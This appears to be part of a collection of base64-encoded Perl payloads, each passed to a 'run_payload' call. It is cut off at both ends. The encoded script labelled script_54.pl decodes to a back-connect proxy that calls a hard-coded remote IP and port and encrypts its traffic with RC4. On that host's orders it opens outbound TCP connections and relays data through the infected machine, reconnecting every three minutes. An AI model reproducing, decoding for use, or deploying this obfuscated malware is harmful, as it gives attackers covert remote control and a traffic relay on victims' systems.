ZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_54.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk2JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIo